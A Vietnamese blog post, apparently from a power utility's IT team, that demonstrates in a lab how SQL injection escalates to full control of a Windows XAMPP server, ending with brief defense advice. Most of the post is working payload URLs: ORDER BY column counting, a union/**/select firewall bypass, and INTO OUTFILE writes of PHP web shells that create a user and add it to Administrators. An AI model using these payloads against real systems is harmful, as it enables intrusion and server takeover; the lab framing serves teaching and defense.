CPCCSKH: Tấn Công Leo Thang Thông Qua Lỗi SQL Injection Và Cách ...
Có thể bạn quan tâm
SQL Injection là một kỹ thuật cho phép kẻ tấn công thực hiện các thao tác delete, insert, update trên cơ sở dữ liệu của ứng dụng, cũng như lấy được những thông tin nhạy cảm của người dùng từ CSDL như username, password, thẻ tín dụng. Dưới đây là một hướng tiếp cận khác đối với SQL Injection, thay vì khai thác để lấy các thông tin từ cơ sở dữ liệu hay bypass form login, thì chúng ta có thể thông qua lỗ hổng này để tấn công leo thang, chiếm quyền quản trị máy chủ hệ thống.
Xây dựng môi trường giả lập ứng dụng bị lỗi SQL Injection
Máy chủ chạy hệ điều hành Windows, cài đặt web server xampp (bao gồm các thành phần apache, mysql, php) với các thông số mặc định để chạy ứng dụng web php. Ứng dụng web viết bằng PHP, sử dụng MySQL làm cơ sở dữ liệu.
Các phần mềm sử dụng mô phỏng bài lab bao gồm: Máy chủ chạy hệ điều hành Windows Server 2012, Phần mềm XAMPP for Windows mới nhất phiên bản mới nhất với PHP 7.1.32 làm Web server tải tại đây (https://www.apachefriends.org/download.html), Source và database của ứng dụng bị lỗi SQL Injection tải tại đây (https://drive.google.com/file/d/1CMfuOieQVBw8YK8-h4--LN8fT8W9qLnm/view).
Mô hình giả lập tấn công ứng dụng bị lỗi SQL Injection
Ứng dụng sau khi triển khai như hình dưới:
Bây giờ chúng ta thử click vào chi tiết của 1 trang tin tức:
Tiến hành kiểm tra xem hệ thống có bị lỗi SQL Injection hay không bằng cách thêm dấu nháy đơn (') vào sau url. Kết quả trả về như sau:
Thực hiện đếm column của câu truy vấn trước bằng cách sử dụng order by.
http://demo.cskh.cpc.vn/detail.php?id=4 order by 1 -- -
⇒Kết quả trả về bình thường, xuất ra tất cả rows và sort theo column thứ nhất.
http://demo.cskh.cpc.vn/detail.php?id=4 order by 2 -- -
⇒Kết quả trả về bình thường, xuất ra tất cả rows và sort theo column thứ 2.
http://demo.cskh.cpc.vn/detail.php?id=4 order by 3 -- -
⇒Kết quả trả về bình thường, xuất ra tất cả rows và sort theo column thứ 3
http://demo.cskh.cpc.vn/detail.php?id=4 order by 4 -- -
⇒Hệ thống báo lỗi “Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in C:\xampp\htdocs\demo\detail.php on line 7”, bởi vì không tìm thấy column số 4 để thực hiện sắp xếp.
Như vậy trong câu query ở trên có 3 column.Thực hiện lệnh union để nối 2 phép select.
http://demo.cskh.cpc.vn/detail.php?id=4 union select 1,2,3 – -
Hệ thống báo lỗi “This site can’t be reached”.
Nguyên nhân của lỗi này có thể trong hệ thống của EVNCPC đang có thiết bị Firewall chặn các ký tự có thể gây nguy hiểm đến hệ thống như “union select”. Cách vượt qua firewall: thay vì sử dụng “union select”, chúng ta sẽ sử dụng các ký tự “+” để nối chuỗi và cặp ký tự /**/ là cặp ký tự chú thích, mục đích đánh lừa hệ thống firewall. Việc thêm các ký tự này không làm ảnh hưởng đến kết quả của câu truy vấn.
http://demo.cskh.cpc.vn/detail.php?id=4+union/**/+select+1,2,3 -- -
Kết quả trả về cho thấy việc vượt qua firewall đã thành công, câu query có union đã được thực hiện, hoàn toàn có thể lấy các thông tin user kết nối database, database name bằng cách sử dụng các hàm user(), database()… trong mysql.
Để thực hiện mục đích leo thang chiếm quyền hệ thống, tiếp theo cần tạo user lên hệ thống máy chủ và cấp quyền administrator cho user đó. Trong mysql, có thể sử dụng câu lệnh “into outfile” để ghi một file lên hệ thống thông qua lỗi SQL Injection. Tương tự ở trên, chúng ta sử dụng url bên dưới để union 2 câu truy vấn
http://demo.cskh.cpc.vn/detail.php?id=4+union/**/+select+1,"<?php shell_exec(\"net user aaa 123abcABC /add\"); ?>",3+into+outfile+'C:/xampp/htdocs/c.php' -- -
Thực hiện chạy đường dẫn để thực thi file vừa ghi
http://demo.cskh.cpc.vn/c.php
User đã được tạo trên hệ thống máy chủ, thực hiện cấp quyền cho user vừa tạo
http://demo.cskh.cpc.vn/detail.php?id=4+union/**/+select+1,"<?php shell_exec(\"net localgroup Administrators aaa /add\"); ?>",3+into+outfile+'C:/xampp/htdocs/d.php' -- -
Thực hiện chạy đường dẫn đề thực thi file vừa ghi:
http://demo.cskh.cpc.vn/d.php
Đến đây đã hoàn thành việc tạo ra user và nâng quyền user thành administrator của hệ thống. Attacker có thể thực hiện remote desktop để chiếm quyền điều khiển máy chủ, cài backdoor… đe dọa nghiêm trọng đến sự an toàn của hệ thống (Video demo)
Cách phòng chống
Từ demo, chúng ta cùng phân tích kẽ hở mà attacker có thể khai thác thông qua lỗi ở trên. Đầu tiên, ứng dụng bị lỗi SQL Injection, giá trị đầu vào không được kiểm tra kỹ càng. Thứ hai, user kết nối với cơ sở dữ liệu không được phân quyền kỹ càng. Cuối cùng, cấu hình web server chưa được tốt.
Để khắc phục những vấn đề này, giải pháp đề xuất như sau: Trước tiên, cần kiểm tra chặt chẽ giá trị đầu vào. Tiếp theo, đối với user kết nối với cơ sở dữ liệu thì không sử dụng user mặc định, và chỉ phân các quyền cần thiết sử dụng. Cuối cùng, đối với web server, không hiển thị các thông báo lỗi nhạy cảm, disable các hàm nhạy cảm tương tác với hệ thống…
Kết luận
SQL Injection là một trong những kỹ thuật tấn công phổ biến, tỷ lệ thành công tương đối cao, gây hậu quả nghiêm trọng. Trong mô hình giả lập xây dựng ở trên, hệ thống đi qua mạng của EVNCPC có firewall và trên máy web server đã cài đặt chương trình Antivirus (Symantec End Point Protection), tuy nhiên các đoạn mã độc vẫn hoạt động bình thường. Có thể thấy, nếu chủ quan chỉ dựa vào bảo mật của hạ tầng thì ko đủ đối phó với sự nguy hiểm của tin tặc. Tinh thần cảnh giác cao độ, chủ động xây dựng các phương án phòng ngừa, sẵn sàng đối phó với sự tấn công mới chính là yếu tố quan trọng quyết định hiệu quả của công tác an ninh mạng.
Từ khóa » Các Trang Web Bị Lỗi Sql Injection 2019
-
Danh Sách Các Web Bị Lỗi Lỗi Sql Injection Chưa được Fix
-
Xin Trang Web Bị Lỗi SQL Injection | VFO.VN
-
[Tổng Hợp] Những Website để Thực Hành Khai Thác Lỗ Hổng Web
-
Hướng Dẫn Kiểm Tra SQL Injection Trên Website - Viblo
-
Hack Web Bị Lỗi SQL Injection Cơ Bản
-
Cách Tìm Lỗ Hổng Bảo Mật Của Website Hữu Hiệu Nhất | Vnetwork JSC
-
CDiT Security - Danh Sách Các Web Bị Lỗi Lỗi Sql Injection... | Facebook
-
KaitoRyouga/OWASP - GitHub
-
Doiqua365 : Danh Sách Các Web Bị Lỗi Lỗi Sql Injection Chưa được Fix
-
Tài Liệu Hướng Dẫn Sử Dụng Website, Hướng Dẫn Sử ...
-
Những điều Cần Biết để Bảo Mật Website Một Cách Hiệu Quả - VNIS
-
Những Lỗ Hổng Web Cơ Bản Thường Gặp Và Các Phương Pháp Bảo ...
-
Categories - Manhnv
-
Cách Hacker Tấn Công Vào Hệ Thống Bằng Cách Sử Dụng SQL ...